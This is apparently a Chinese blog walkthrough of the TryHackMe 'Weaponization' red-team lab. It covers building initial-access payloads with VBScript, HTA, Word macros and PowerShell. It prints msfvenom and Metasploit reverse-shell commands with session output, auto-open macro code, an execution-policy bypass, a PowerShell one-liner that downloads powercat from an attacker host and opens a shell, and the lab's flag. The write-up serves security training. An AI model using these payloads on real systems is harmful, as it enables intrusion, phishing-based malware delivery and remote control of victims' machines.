【THM】Weaponization(武器化)-红队

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/weaponization

本文相关内容:了解和探索常见的红队武器化技术,学习如何使用业界常见的方法构建自定义有效载荷,并以此获得目标的初始访问权限。

img

简介

在本文中,我们将讨论一些用于武器化的不同技术。

什么是武器化?

武器化是网络杀伤链模型的第二阶段,指的是——攻击者使用可交付(或者可投递)的有效载荷(如word文档、pdf等)来生成并开发自己的恶意代码[1]。武器化阶段的目的是利用恶意武器攻击目标机,从而尝试获得目标的初始访问权限。

image

大多数组织都运行着Windows操作系统,所以Windows将是一个可能的攻击目标。一个组织的环境策略通常会阻止任意下载和执行.exe文件,以避免违反安全规定;因此,红队的活动将依赖于构建通过各种渠道(如网络钓鱼、社会工程学应用、浏览器或其他软件的漏洞利用、USB或web方法等)发送的定制有效载荷。

下图是武器化的一个示例,我们将使用一个精心制作的自定义PDF文件或Microsoft Office文档来交付(或者投递)恶意载荷,而这个自定义有效载荷被配置为可回连红队基础设施的命令与控制(C2)环境。

image

以下是一个关于红队工具列表的GitHub存储库,它涉及了获取初始访问权限、有效载荷开发、Payload交付(投递)、提权等一系列工具。

https://github.com/infosecn1nja/Red-Teaming-Toolkit#Payload Development

大多数组织在其控制的网络环境中都会阻止或监视.exe文件的执行,出于这个原因,红队可以使用其他技术来执行有效载荷,例如内置的windows脚本技术;本文将侧重于各种流行和有效的脚本技术,包括:

  • The Windows Script Host (WSH)——Windows 脚本宿主;
  • An HTML Application (HTA)——HTML应用程序;
  • Visual Basic Applications (VBA)——Visual Basic应用程序;
  • PowerShell (PSH)——PowerShell 脚本。

部署Windows目标机

在TryHackMe攻击机或者你的本地Kali机上,使用以下凭据通过xfreerdp远程访问TryHackMe实验房间所提供的Windows 10目标机:

  • IP Address:MACHINE_IP(在与本文相关的TryHackMe实验房间中部署Windows目标机,即可得到一个对应的目标IP地址)
  • Username:thm
  • Password:TryHackM3

命令语法如下:

user@machine$ xfreerdp /v:MACHINE_IP /u:thm /p:TryHackM3 +clipboard

这将通过远程桌面协议 (RDP)来实现对Windows 10目标机的访问,xfreerdp是一个RDP 客户端。

tips:本节操作的前提条件——确保你所使用的攻击机器已经连接了TryHackMe所提供的VPN。

Windows 脚本宿主-WSH

Windows 脚本宿主(Windows Scripting Host-WSH)是一个内置的 Windows 管理工具,它能够运行批处理文件以自动执行和管理操作系统中的任务。

WSH(Windows Scripting Host-Windows 脚本宿主)是Windows系统的原生引擎,它包括cscript.exe(用于命令行脚本)和wscript.exe(用于UI脚本),它负责执行各种Microsoft Visual Basic脚本(VBScript),例如vbsvbe。值得注意的是,Windows操作系统上的VBScript引擎会以与普通用户相同的访问权限运行和执行应用程序,因此,这对红队活动而言是有用的。

tips:有关VBScript的更多信息,可以访问相关的wiki百科文档

现在让我们编写一段简单的VBScript代码来创建一个显示消息内容的windows消息框;请确保将以下代码保存到一个VBScript格式的文件中,例如hello.vbs

Dim message
message = "Welcome to THM"
MsgBox message

在上述代码的第一行中,我们使用Dim声明了message变量,然后在message变量中存储了一个字符串值Welcome to THM;在下一行中,我们使用MsgBox函数来显示message变量的内容,有关MsgBox函数的更多信息,请访问官方文档;然后,我们将会使用wscript来运行和执行hello.vbs(包含上述代码的vbs文件)的内容;结果,我们可以看到一个弹出"Welcome to THM"消息的Windows消息框。

image

tips:直接用鼠标左键双击hello.vbs也可以运行该文件。

现在让我们使用VBScript来运行可执行文件:下面的vbs代码是用来调用Windows计算器的,该示例的执行结果将证明我们可以使用Windows原生引擎(WSH)来执行.exe文件。

tips:将以下代码保存到payload.vbs中。

Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True

在以上示例中,我们首先使用CreateObject创建了一个属于WScript库的Wscript.Shell对象,以便我们调用执行载荷;然后,我们利用Run方法来执行载荷;最终,我们将成功运行Windows计算器(calculator)程序,即calc.exe

tips:在Run()方法第一个参数中的calc.exe后面要添加一个空格,然后再连接WScript.ScriptFullName。

要顺利执行示例代码中的calc.exe文件,我们可以使用wscript运行上述vbs示例,如下所示:

c:\Windows\System32>wscript c:\Users\thm\Desktop\payload.vbs

我们也可以通过cscript运行上述vbs示例,如下所示:

c:\Windows\System32>cscript.exe c:\Users\thm\Desktop\payload.vbs

作为示例文件的执行结果,Windows计算器将出现在桌面上。

image

另一个技巧:如果VBS文件已经被列入黑名单(无法执行),那么我们可以将原文件重命名为.txt格式的文件,然后使用wscript运行。

c:\Windows\System32>wscript /e:VBScript c:\Users\thm\Desktop\payload.txt

结果将会与执行示例vbs文件(指用于运行calc.exe的vbs文件)一样。

image

HTML应用程序-HTA

此处的HTA代表“HTML应用程序-HTML Application”,它允许你创建一个可下载的文件,该文件会包含有关如何显示和呈现一个网页的所有信息。

HTML应用程序,即HTA,是包含JScript和VBScript的动态HTML页面。我们可以使用LOLBINS(离地攻击二进制文件)工具mshta来执行HTA文件,此外,HTA本身也可以自行执行,或者从Internet Explorer自动执行。

请看下面的HTML代码示例,我们将在有效载荷中使用ActiveXObject作为执行cmd.exe的概念证明(POC)。

<!--在攻击机上进行编写-->
<html>
<body>
<script>
    var c= 'cmd.exe'
    new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>

tips:将上述HTML代码保存到payload.hta文件中。

然后我们将包含以上代码的payload.hta文件托管到一个web服务器,这可以在Kali攻击机上完成,如下所示:

user@machine$ python3 -m http.server 8090
Serving HTTP on 0.0.0.0 port 8090 (http://0.0.0.0:8090/)

然后,我们可以在受害机器(Windows目标机)上,使用Microsoft Edge访问恶意链接 http://10.8.232.37:8090/payload.hta ,注意此处的10.8.232.37指的是攻击机的IP地址。

image

一旦我们点击上图中的Run按钮,这个payload.hta文件就会被执行,然后它会调用cmd.exe,如下图所示,我们已经成功地执行了cmd.exe

image

HTA反向shell连接

我们可以基于HTA文件格式创建一个反向shell有效载荷,如下所示:

user@machine$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.232.37 LPORT=443 -f hta-psh -o thm.hta
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of hta-psh file: 7692 bytes
Saved as: thm.hta

我们使用Metasploit框架中的msfvenom来生成恶意有效载荷,生成的有效载荷为windows/x64/shell_reverse_tcp类型并将保存为thm.hta文件,当受害机器执行该文件时,将自动回连到我们本地攻击机的IP和正在侦听的端口。

tips:在攻击机上托管由msfvenom生成的thm.hta文件,使用python3 -m http.server 9999命令即可,和上文类似,此处端口号可以自行指定。

在攻击机器上,我们需要预先使用nc监听端口443,请注意,这个端口需要root权限才能打开,请切换相应权限或者也可以选择监听其他端口。

一旦受害者访问恶意URL并点击运行,我们就能在攻击机上接收到一个shell连接:

user@machine$ sudo nc -lvp 443
listening on [any] 443 ...
10.8.232.37: inverse host lookup failed: Unknown host
connect to [10.8.232.37] from (UNKNOWN) [10.10.201.254] 52910
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\thm\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState\Downloads>
pState\Downloads>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet 4:

   Connection-specific DNS Suffix  . : eu-west-1.compute.internal
   Link-local IPv6 Address . . . . . : fe80::fce4:699e:b440:7ff3%2
   IPv4 Address. . . . . . . . . . . : 10.10.201.254
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 10.10.0.1

通过Metasploit设置恶意HTA链接

我们也可以全程使用Metasploit框架来生成和托管恶意HTA文件。

首先,在攻击机上,使用msfconsole -q命令运行Metasploit框架,然后,在msf的exploit目录下,找到exploit/windows/misc/hta_server模块,该模块需要选择和设置LHOST, LPORT, SRVHOST, Payload等参数信息,最后,执行exploit或者run命令即可开始运行设置好的模块。

msf6 > use exploit/windows/misc/hta_server
msf6 exploit(windows/misc/hta_server) > set LHOST 10.8.232.37
LHOST => 10.8.232.37
msf6 exploit(windows/misc/hta_server) > set LPORT 443
LPORT => 443
msf6 exploit(windows/misc/hta_server) > set SRVHOST 10.8.232.37
SRVHOST => 10.8.232.37
msf6 exploit(windows/misc/hta_server) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/misc/hta_server) >
[*] Started reverse TCP handler on 10.8.232.37:443
[*] Using URL: http://10.8.232.37:8080/TkWV9zkd.hta
[*] Server started.

一旦目标机器访问了由Metasploit设置的URL所提供的恶意HTA文件,我们就会在攻击机上收到一个反向shell连接:

user@machine$ [*] 10.10.201.254    hta_server - Delivering Payload
[*] Sending stage (175174 bytes) to 10.10.201.254
[*] Meterpreter session 1 opened (10.8.232.37:443 -> 10.10.201.254:61629) at 2021-11-16 06:15:46 -0600
msf6 exploit(windows/misc/hta_server) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : DESKTOP-1AU6NT4
OS              : Windows 10 (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 3
Meterpreter     : x86/windows
meterpreter > shell
Process 4124 created.
Channel 1 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\app>

Visual Basic应用程序-VBA

VBA是Visual Basic for Applications的缩写,Visual Basic是一种由微软开发的编程语言,可用于微软的应用程序中,如MS Word、MS Excel、PowerPoint等。VBA编程允许将用户与Microsoft Office应用程序之间的几乎所有键盘和鼠标交互任务自动化。

Macros(宏)是微软的Office应用程序所提供的一种程序化功能,它包含了用Visual Basic for applications (VBA)编程语言编写的嵌入式代码。Macros(宏)可用于创建自定义函数,并能通过创建自动化流程来加快手动任务的执行速度。Macros(宏)所使用的VBA编程语言的特性之一是会访问Windows应用程序编程接口(API)和其他低级功能,有关VBA的更多信息,请自行访问相关的wiki百科文档

在本小节中,我们将主要讨论VBA的基础知识以及攻击者使用Macros(宏)创建恶意Microsoft文档的方式。

现在,让我们在Windows目标机器的开始菜单处打开Microsoft Word 2016,成功打开MS Word之后,会有一个产品密钥窗口,我们选择关闭即可。

image

接下来,点击接受在关闭产品密钥窗口后显示的Microsoft Office许可协议,然后就能开始使用Microsoft Word。

image

创建一个新的空白Microsoft文档来设置我们的第一个macros(宏),我们将学习VBA语言的基础知识,并将展示在打开Microsoft Word文档时如何运行VBA编程语言所编写的代码;首先,我们需要通过选择viewmacros打开“Macros(宏)”窗口,它会显示如何在MS Word文档中创建我们自己的Macros(宏)。

image

Macro name部分,我们选择将Macro(宏)命名为THM,然后在Macros in列表中选择Document1,最后选择Create。接下来,我们可以在自动弹出的Microsoft Visual Basic for Application编辑器中编写VBA代码。

image

让我们试着显示一个消息框,内容为-Welcome to Weaponization Room!,我们可以使用MsgBox函数来完成这个小示例,具体代码将如下所示:

Sub THM()
  MsgBox ("Welcome to Weaponization Room!")
End Sub

编写完代码后,我们可通过F5按键或者Run → Run Sub/UserForm来试运行我们的第一个Macro(宏)。

现在,为了在MS Word文档打开后自动执行VBA代码,我们可以使用内置函数,如AutoOpenDocument_open;注意,我们还需要指定文档打开后需要运行的函数名,在我们的示例中是THM函数。

Sub Document_Open()
  THM
End Sub

Sub AutoOpen()
  THM
End Sub

Sub THM()
   MsgBox ("Welcome to Weaponization Room!")
End Sub

为了使Macro(宏)工作,我们需要将其保存为Macro-Enabled(启用宏)格式,如.docdocm。例如,将文档文件保存为Word 97-2003 Document(其中的宏功能可被启用),在此过程中:我们需要点击Filesave Document1并选择save as typeWord 97-2003 Document,最后点击save即可。

image

image

让我们先关闭刚才已保存的MS Word文档,然后再重新打开该文档文件,此时文档中将显示一条安全消息,提示宏已被禁用(Macros have been disabled),并会为我们提供启用Macro(宏)的选项,我们选择启用Macro(宏)并继续查看对应的结果即可。

image

一旦点击允许启用内容(Enable Content),我们之前设置的Macro(宏)就会被执行,结果将如下所示:

image

现在再次编辑MS word文档,并创建一个Macro(宏)函数,尝试执行calc.exe或任何其他可执行文件,以此作为概念证明(POC),示例代码将如下所示:

Sub PoC()
    Dim payload As String
    payload = "calc.exe"
    CreateObject("Wscript.Shell").Run payload,0
End Sub

在上述示例中,函数的第一行代码是Dim payload As String,表示使用Dim关键字将payload变量声明为字符串,然后是payload = "calc.exe",表示指定载荷名称,最后是CreateObject("Wscript.Shell").Run payload,表示创建一个Windows脚本宿主(WSH)对象并运行payload

注意:我们还需要在AutoOpen()Document_open()函数中包含此示例中的函数名,从而保证在文档打开时能自动执行该函数。

在保存文档之前,我们可以使用编辑器中的运行功能测试VBA代码,确定此代码能成功执行后,我们选择保存该文档(文档保存的具体过程和上文类似),然后我们先关闭文档,最后再重新打开文档以执行Macro(宏)。

image

值得一提的是,我们还可以将VBA与前面介绍的方法(如HTA和WSH)结合起来使用,VBAs/macros本身并不能实现绕过任何安全检测。

练习示例

现在,让我们使用Metasploit框架创建一个内存meterpreter载荷,以实现攻击机接收反向shell。

首先,在攻击机中,我们使用msfvenom创建我们的meterpreter有效载荷,我们需要指定PayloadLHOSTLPORT参数选项,它们将与Metasploit框架中的随后内容相匹配,请注意,我们在此要将有效载荷指定为VBA,以便将其用作macro(宏)。

user@AttackBox$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.50.159.15 LPORT=443 -f vba
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 341 bytes
Final size of vba file: 2698 bytes

注意:我们还需要做一些修改才能使生成的恶意宏能在MS Word中正常工作。因为上述生成的载荷默认将适用于MS excel表格,因此,我们需要将生成的载荷的内容中的Workbook_Open()函数更改为Document_Open()函数,从而使其适合在MS word文档中运行。

我们复制载荷内容并将其保存到Windows目标机的MS word文档的宏编辑器中,具体过程将和前文类似。

我们在攻击机上运行Metasploit框架,并设置如下监听器:

user@AttackBox$ msfconsole -q
msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.50.159.15
LHOST => 10.50.159.15
msf5 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.50.159.15:443

现在,一旦恶意MS word文档在受害机器上被打开,我们就应该会收到一个反向shell连接。

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.50.159.15:443
[*] Sending stage (176195 bytes) to 10.10.215.43
[*] Meterpreter session 1 opened (10.50.159.15:443 -> 10.10.215.43:50209) at 2021-12-13 10:46:05 +0000
meterpreter >

PowerShell 脚本-PSH

Powershell是一种面向对象的编程语言,除了一些遗留使用的例外情况,Powershell将会基于.NET的动态语言运行时(DLR-Dynamic Language Runtime)被执行。

红队可以依赖PowerShell执行各种活动,包括获取初始访问权限、枚举目标系统以及更多其他活动。

我们可以先创建一个简单的PowerShell脚本,执行效果是打印“Welcome to the Weaponization Room!”:

Write-Output "Welcome to the Weaponization Room!"

将上述内容保存为thm.ps1文件,此示例将使用Write-Output函数把内容打印到命令行提示符界面,我们可以通过CMD运行ps1文件以查看脚本的执行结果:

C:\Users\thm\Desktop>powershell -File thm.ps1
File C:\Users\thm\Desktop\thm.ps1 cannot be loaded because running scripts is disabled on this system. For more
information, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170.
    + CategoryInfo          : SecurityError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : UnauthorizedAccess

C:\Users\thm\Desktop>

tips:我们可以看到,thm.ps1脚本会因为执行策略限制而运行失败。

Powershell执行策略

PowerShell的执行策略是保护系统免受恶意脚本运行影响的安全选项,出于安全考虑,Microsoft会默认禁用PowerShell脚本(.ps1文件)。PowerShell执行策略会被默认设置为Restricted,这意味着它只允许执行单个Powershell命令,但不允许运行任何Powershell脚本。

你可以使用以下命令来确定当前Windows的PowerShell设置情况:

PS C:\Users\thm> Get-ExecutionPolicy
Restricted

我们也可以很容易地改变PowerShell的执行策略:

PS C:\Users\thm\Desktop> Set-ExecutionPolicy -Scope CurrentUser RemoteSigned

Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
http://go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): A

绕过执行策略

微软提供了一些修改执行策略限制的方法,其中一种方法是为PowerShell命令提供一个参数选项,并将其更改为你所需的设置。例如,我们可以将Powershell执行策略更改为bypass,这意味着我们运行powershell脚本将没有任何阻塞或限制。这很有用,因为此设置允许我们运行自己的PowerShell脚本。

为了确保我们的PowerShell文件被执行,我们可以在命令参数中提供bypass选项,如下所示(此处执行的是上面的示例脚本):

C:\Users\thm\Desktop>powershell -ex bypass -File thm.ps1
Welcome to Weaponization Room!

现在,让我们尝试使用由PowerShell所编写的工具之一powercat来获得一个反向shell。在你的攻击机上,你可以从GitHub上下载此工具,然后运行一个web服务器来交付(投递)ps1脚本。

user@machine$ git clone https://github.com/besimorhino/powercat.git
Cloning into 'powercat'...
remote: Enumerating objects: 239, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 239 (delta 0), reused 2 (delta 0), pack-reused 235
Receiving objects: 100% (239/239), 61.75 KiB | 424.00 KiB/s, done.
Resolving deltas: 100% (72/72), done.

现在,我们需要在攻击机上设置一个web服务器来托管powercat.ps1,因为该ps1文件需要被下载到目标机上并被执行。我们先将当前目录更改为powercat,然后设置web服务器并让其开始监听你所选择的端口,在以下示例中,我们将使用端口8080

user@machine$ cd powercat
user@machine$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

在攻击机上,我们还需要使用nc来设置一个监听器以接收来自目标机的反向shell连接,我们选择监听端口1337

user@machine$ nc -lvp 1337

现在,在受害机器(目标机)上,我们可以使用PowerShell来下载ps1脚本并进行执行,具体过程将如下所示:

C:\Users\thm\Desktop> powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://ATTACKBOX_IP:8080/powercat.ps1');powercat -c ATTACKBOX_IP -p 1337 -e cmd"

我们分析一下上面的命令,首先目标机器会通过我们之前设置的web服务器来下载powercat.ps1文件,然后目标机将在本地调用cmd.exe执行powercat,并会将指定的shell连接发送回攻击机(此时攻击机正在端口1337上进行侦听)。在等待几秒钟后,我们就会在攻击机上收到一个连接回调:

user@machine$ nc -lvp 1337  listening on [any] 1337 ...
10.10.12.53: inverse host lookup failed: Unknown host
connect to [10.8.232.37] from (UNKNOWN) [10.10.12.53] 49804
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Users\thm>

C2框架的基本概念

本小节会简单介绍在红队行动中将使用的命令与控制(C2)框架的基本概念。

image

什么是C2?

C2框架是用于后渗透的框架,它允许红队成员之间进行协作并控制已经被攻破的机器,也被认为是红队在进攻性网络行动中最重要的工具之一。C2框架针对以下几个方面提供了快速和直接的方法:

  • 生成各种恶意载荷
  • 枚举受感染的机器/网络
  • 执行权限提升和跳板攻击
  • 进行横向移动
  • 其他

我们将简要介绍一些流行的C2框架,包括Cobalt Strike、PowerShell Empire和Metasploit。这些C2框架中的大多数都旨在提供一个实用的命令与控制环境,以便红队成员在获得对目标系统的初始访问权限之后,通过操作实现与目标的持续通信(并允许红队成员之间进行信息共享和沟通)。

Cobalt Strike

Cobalt Strike是一个付费C2框架,它专注于网络攻击者模拟和红队行动,它组合了远程访问工具、后渗透功能和独特的报告系统。

Cobalt Strike将会提供一个使用先进技术来建立秘密通信和执行各种操作的C2代理,Cobalt Strike框架可实现的功能包括:键盘记录、文件上传和下载、VPN部署、权限提升、mimikatz、端口扫描、横向移动等。

PowerShell Empire

PowerShell Empire是一个开源C2框架,它可以帮助红队操作员和渗透测试人员使用密钥和共享密码在多个服务器上进行协同工作,它是一个基于PowerShell和Python代理的漏洞利用框架。PowerShell Empire专注于Windows和Active Directory环境下的目标客户端,并且有助于开展相关的后渗透操作。

Metasploit

Metasploit是一个广泛使用的漏洞利用框架,它提供了各种技术和工具来轻松地执行网络攻击,它同时也是一个开源C2框架,被认为是渗透测试和红队行动中的主要可选工具。在本文中,Metasploit是用来为武器化阶段生成有效载荷的工具之一。

值得注意的是:大多数C2框架都会使用本文所提到的技术作为初始访问阶段的准备。

载荷投递(交付)技术

有效载荷投递(交付)技术是获得目标初始访问权限的重要因素之一,这种投递(交付)技术必须看起来专业、合法并且对于受害者有说服力,如此受害者才有可能会在目标机器上执行相关的恶意内容。

通过Email投递(交付)

红队可以通过发送带有链接或附件的网络钓鱼电子邮件来投递有效载荷,关于这部分的更多信息,可以访问ATT&CK中关于网络钓鱼附件的介绍。使用此方法所附加的恶意文件可能会是我们上文中提到的文件类型,采取这种方式投递载荷的目标是想说服受害者去访问恶意网站或者下载并运行恶意文件,从而获得对受害者网络或受害者主机的初始访问权限。

红队应该有自己的网络钓鱼基础设施,根据红队演练的需求,红队成员还要在电子邮件服务器(用于网络钓鱼)中设置各种选项,包括DomainKeys Identified Mail (DKIM-域名密钥识别邮件)、Sender Policy Framework (SPF-发件人策略框架)和DNS Pointer (PTR)记录。

红队还可以使用第三方电子邮件服务来投递有效载荷,如Google Gmail、Outlook、Yahoo和其他声誉良好的电子邮件服务。

另一种有趣的方法是:使用目标公司内部的已感染的电子邮件帐户,在公司内部或者向其他人发送网络钓鱼电子邮件,这些被利用且已感染的电子邮件帐户,可能是因为受到了网络钓鱼攻击或其他技术攻击(如密码喷洒)而被红队获取到了操作权限。

image

通过Web投递(交付)

投递载荷的另一种方法是在红队所控制的web服务器上托管恶意载荷,web服务器必须遵循安全准则,例如其域名和TLS(传输层安全)证书的知名度和干净记录等。欲了解更多信息,请访问ATT&CT相关技术文档

这种方法也将包括一些其他技术,如通过社会工程技术让受害者主动访问或下载恶意文件,在使用此方法时,URL短链接生成器可能会有所帮助。

在通过web投递有效载荷时,也可以将其他不同技术互相结合使用。例如,攻击者可以基于0day漏洞来利用Java或浏览器等存在漏洞的软件,并结合网络钓鱼邮件或web投递技术来访问受害机器。

image

通过USB投递(交付)

该方法需要受害者主动在公司内网环境中使用恶意的USB设备,这在网络攻击者能够趁机分发USB的会议场景或活动场景中可能是有效的。有关通过USB投递载荷的更多信息,请访问ATT&CK相关技术文档

不同组织对于使用USB的态度并不一样,有些组织建立了强大的安全策略,会出于安全目的在其内部环境中禁用USB,而其他一些组织则可能会允许在内部环境中使用USB。

用于将USB设备武器化的常见攻击技术包括Rubber DuckyUSBHarpoon,这些USB攻击手段大体上可被分为两种:使用恶意USB或者使用恶意USB数据线。

tips:关于恶意USB数据线的例子——O.MG Cable

image

答题

阅读本小节内容并回答以下问题。

image

实例练习

在本小节实验中,TryHackMe为我们提供了一台Windows 10目标机,它能运行一个由用户使用的模拟web应用程序,这个模拟程序可以执行攻击者的有效载荷或者自动访问恶意HTA链接。

我们先在TryHackMe实验房间中部署好实验环境,然后,就可以使用攻击机访问刚才所提及的模拟web应用程序:http://MACHINE_IP:8080/ 。

tips:请使用TryHackMe所提供的攻击机,或者使用本地kali机(要配置VPN连接)来访问目标机所提供的模拟web应用程序。

image

这个模拟web应用程序允许我们上传有效载荷,主要类型为VBS、DOC、PS1文件;此外,如果你在模拟Web应用程序页面提供了一个恶意的HTA链接,这个web应用程序将会自动访问你所提交的恶意链接。

关于上传恶意DOC文件的注意事项:当我们使用模拟Web应用程序并上传了一个恶意DOC文档,该模拟应用程序会打开该DOC文档并在90秒内自动关闭,因此,为了维持反向Shell连接的持续性,我们需要在攻击机接收到反向shell之后立即迁移相关进程。

成功获取目标的初始访问权限之后,在Metasploit框架中,我们可以使用迁移命令将当前进程注入到受害机器上的另一个进程。在我们的实例中,我们需要将当前的进程(即恶意MS word文档的进程)迁移到另一个进程,以便在恶意文档被关闭时仍能保持稳定的shell连接。在msf中迁移进程最简单的方法是使用post-module(后渗透模块)的migrate ,如下所示:

meterpreter > run post/windows/manage/migrate 

[*] Running module against DESKTOP-1AU6NT4
[*] Current server process: svchost.exe (3280)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 4960
[+] Successfully migrated into process 4960

在本小节实例中,我们的目标是成功生成我们所选择的反向shell有效载荷,并通过web应用程序来进行载荷投递(交付)。一旦目标web应用程序运行了我们所构造的有效载荷,我们就能在攻击机上收到一个返回的shell连接。为了回答本小节的最终问题,我们还要在成功建立反向shell连接之后找到一个flag,以此证明我们已经获得了目标的访问权限。

作为参考,你可以使用由以下网站所提供的MSFVenom Cheat Sheet(MSFVenom 备忘单):

https://web.archive.org/web/20220607215637/https://thedarksource.com/msfvenom-cheat-sheet-create-metasploit-payloads/

答题

我们选择通过Metasploit来设置一个恶意HTA链接,以获取目标的初始访问权限。

首先,在攻击机上,使用msfconsole -q命令运行Metasploit框架,然后,在msf的exploit目录下,找到exploit/windows/misc/hta_server模块,该模块需要选择和设置LHOST, LPORT, SRVHOST, Payload等参数信息,最后,执行exploit或者run命令即可。

msfconsole -q
msf6 > use exploit/windows/misc/hta_server
msf6 exploit(windows/misc/hta_server) > set LHOST 10.8.116.5
LHOST => 10.8.116.5
msf6 exploit(windows/misc/hta_server) > set LPORT 443
LPORT => 443
msf6 exploit(windows/misc/hta_server) > set SRVHOST 10.8.116.5
SRVHOST => 10.8.116.5
msf6 exploit(windows/misc/hta_server) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.8.116.5:443 
[*] Using URL: http://10.8.116.5:8080/wjYG1w.hta
[*] Server started.

image

tips:通过以上在Metasploit中的操作,我们生成了一个恶意HTA链接—— http://10.8.116.5:8080/wjYG1w.hta

在攻击机的浏览器中,访问由目标机所提供的模拟web应用程序( http://10.10.49.185:8080/ ),然后输入恶意的HTA链接并发送,该模拟应用程序会自动访问我们所提交的恶意链接:

image

当恶意链接被目标机访问后,我们将在攻击机上收到一个反向shell链接:

msf6 exploit(windows/misc/hta_server) > [*] 10.10.49.185     hta_server - Delivering Payload
[*] Sending stage (175686 bytes) to 10.10.49.185
msf6 exploit(windows/misc/hta_server) > [*] Meterpreter session 1 opened (10.8.116.5:443 -> 10.10.49.185:49775) at 2023-04-28 19:42:27 +0800
sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : DESKTOP-1AU6NT4
OS              : Windows 10 (10.0 Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter >

image

在攻击机上使用已建立的shell找到flag:

image

flag内容为:THM{b4dbc2f16afdfe9579030a929b799719} 。

image

posted @ 2023-04-28 20:09  Hekeatsll  阅读(409)  评论(0编辑  收藏  举报